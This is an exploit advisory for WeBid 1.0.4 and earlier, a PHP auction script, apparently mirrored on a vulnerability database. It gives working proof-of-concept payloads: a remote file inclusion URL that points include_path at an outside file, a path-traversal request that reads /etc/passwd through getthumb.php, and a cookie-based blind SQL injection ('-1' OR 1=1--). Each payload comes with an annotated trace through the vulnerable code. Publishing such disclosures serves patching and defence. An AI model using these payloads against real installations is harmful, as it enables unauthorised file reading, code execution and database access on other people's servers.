Lucene search
K

webid <= 1.0.4 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

WeBid <= 1.0.4 Multiple Vulnerabilities - Open source php/mysql fully featured auction script. RFI and Local File Disclosur

Code

                                                  :::::::-.   ...    ::::::.    :::.
   ;;,   `&#39;;, ;;     ;;;`;;;;,  `;;;
   `[[     [[[[&#39;     [[[  [[[[[. &#39;[[
    $$,    $$$$      $$$  $$$ &#34;Y$c$$
    888_,o8P&#39;88    .d888  888    Y88
    MMMMP&#34;`   &#34;YmmMMMM&#34;&#34;  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-08-17                              ]
 ################################################
 # [ WeBid &#60;= 1.0.4 ] Multiple Vulnerabilities  #
 ################################################
 #
 # Script: &#34;Open source php/mysql fully featured auction script&#34;
 #
 # Vendor:   http://www.webidsupport.com/
 # Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/
 #
 ################################################
 # [RFI] ( allow_url_include = On; register_globals = On; )
 # PoC: http://localhost/WeBid/loader.php?js=admin/logout.php&include_path=http://localhost/info.txt?
 #
 # File: ./WeBid/loader.php (lines: 15-60)
 #  ..cut..
 # ob_start(&#39;ob_gzhandler&#39;);
 # header(&#34;Content-type: text/javascript&#34;);
 # include &#39;includes/checks/files.php&#39;;               // 1 ( Definition of $file_hashs array )
 # if (isset($_GET[&#39;js&#39;]))
 # {
 #    $js = explode(&#39;;&#39;, $_GET[&#39;js&#39;]);                // 3 js = admin/logout.php (for example) 
 #    foreach ($js as $val)
 #    {
 #       $ext = substr($val, strrpos($val, &#39;.&#39;) + 1); // 4
 #       if ($ext == &#39;php&#39;)                           // 4
 #       {
 #          if (check_file($val))                     // 5
 #          {
 #             include $val;                          // 10 include admin/logout.php
 #          }
 #       }
 #  ..cut..
 #    }
 # }
 # ob_end_flush();
 #
 # function check_file($file)
 # {
 #    global $file_hashs;                             // 6
 #    $tmp = $file_hashs;
 #    $folders = explode(&#39;/&#39;, $file);                 // 7 $folders = Array([0] =&#62; admin, [1] =&#62; logout.php)
 #    foreach ($folders as $val)                      // 8 This loop checks if parts of $folders are in $file_hashs
 #    {
 #       if (isset($tmp[$val]))
 #       {
 #          $tmp = $tmp[$val];
 #       }
 #       else
 #       {
 #          return false;
 #       }
 #    }
 #    return true;                                    // 9 admin/logout.php passed
 # }
 #  ..cut..
 #
 # File: ./WeBid/includes/checks/files.php (lines: 2-19)
 #  ..cut..
 # $file_hashs = array(                                      // 2 List of files that can be included.
 #  ..cut..
 #    &#39;admin&#39; =&#62; array(                                      // 2 
 #       &#39;logout.php&#39; =&#62; &#39;a0db39b73dcfd29feb1466002c4f59a4&#39;, // 2
 #        ..cut..
 #    ),
 #  ..cut..
 # );
 #
 # File: ./WeBid/admin/logout.php (lines: 16-17)
 #  ..cut..                                           // 11 common.inc.php file contains a definition of $include_path
 # include &#39;../includes/common.inc.php&#39;;              // 11 Failed, because loader.php is in root path
 # include $include_path . &#39;functions_admin.php&#39;;     // 12 *[RFI] $include_path is not set by script
 #  ..cut..                                           // 12 If register_globals is On, we can set $include_path
 #
 ################################################
 # [Local File Disclosure] ( magic_quotes_gpc = Off; php version &#60; 5.3.4 )
 # PoC: http://localhost/WeBid/getthumb.php?fromfile=getthumb.php&w=../../../../../etc/passwd%00
 #
 # File: ./WeBid/getthumb.php (lines: 17-52)
 #  ..cut..
 # $w = (isset($_GET[&#39;w&#39;])) ? $_GET[&#39;w&#39;] : &#39;&#39;;                                      // 1
 # $fromfile = (isset($_GET[&#39;fromfile&#39;])) ? $_GET[&#39;fromfile&#39;] : &#39;&#39;;                 // 2
 # $nomanage = false;
 #  ..cut..
 # if (!isset($_GET[&#39;fromfile&#39;]))                                                   // 3
 # {
 #    ErrorPNG(&#39;params empty&#39;);
 #    exit;
 # }
 # elseif (!file_exists($_GET[&#39;fromfile&#39;]) && !fopen($_GET[&#39;fromfile&#39;], &#39;r&#39;))       // 4
 # {
 #    ErrorPNG(&#39;img does not exist&#39;);
 #    exit;
 # }
 #
 # if (file_exists($upload_path . &#39;cache/&#39; . $_GET[&#39;w&#39;] . &#39;-&#39; . md5($fromfile)))    // 5
 # {
 #    $img = getimagesize($fromfile);
 #    if ($img[2] == 1)
 #    {
 #       $img[&#39;mime&#39;] = &#39;image/png&#39;;
 #    }
 #    header(&#39;Content-type: &#39; . $img[&#39;mime&#39;]);
 #    echo file_get_contents($upload_path . &#39;cache/&#39; . $_GET[&#39;w&#39;] . &#39;-&#39; . md5($fromfile)); // 6 *[LFD]
 #    }
 # }
 #  ..cut..
 #
 ################################################
 # [Blind SQL Injection] ( magic_quotes_gpc = Off; )
 # PoC:
 # http://localhost/WeBid/contents.php
 # GET /WeBid/contents.php HTTP/1.1
 # Host: localhost
 # User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1
 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 # Accept-Language: pl,en-us;q=0.7,en;q=0.3
 # Accept-Encoding: gzip, deflate
 # Connection: keep-alive
 # Cookie: WEBID_ONLINE=-1&#39; OR 1=1--
 #
 # File: ./WeBid/contents.php (lines: 15, 38)
 #  ..cut..
 # include &#39;includes/common.inc.php&#39;;
 #  ..cut..
 # include &#39;header.php&#39;;                                        // 1
 #  ..cut..
 #
 # File: ./WeBid/header.php (line: 26)
 #  ..cut..
 # $counters = load_counters();                                 // 2
 #  ..cut..
 #
 # File: ./WeBid/includes/functions_global.php (line: 287-320)
 #  ..cut..
 # function load_counters()                                     // 3
 # {
 #  ..cut..
 #      if (!$user-&#62;logged_in)
 #      {
 #         if (!isset($_COOKIE[&#39;WEBID_ONLINE&#39;]))
 #         {
 #            $s = md5(rand(0, 99) . session_id());
 #            setcookie(&#39;WEBID_ONLINE&#39;, $s, time() + 900);
 #         }
 #         else
 #         {
 #            $s = $_COOKIE[&#39;WEBID_ONLINE&#39;];                    // 4
 #            setcookie(&#39;WEBID_ONLINE&#39;, $s, time() + 900);
 #         }
 #      }
 #  ..cut..
 #      $query = &#34;SELECT id FROM &#34; . $DBPrefix . &#34;online WHERE SESSION = &#39;$s&#39;&#34;; // 5 *[SQL]
 #      $res = mysql_query($query);
 #      $system-&#62;check_mysql($res, $query, __LINE__, __FILE__);
 #  ..cut..
 #
 ### [ dun / 2012 ] #############################

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation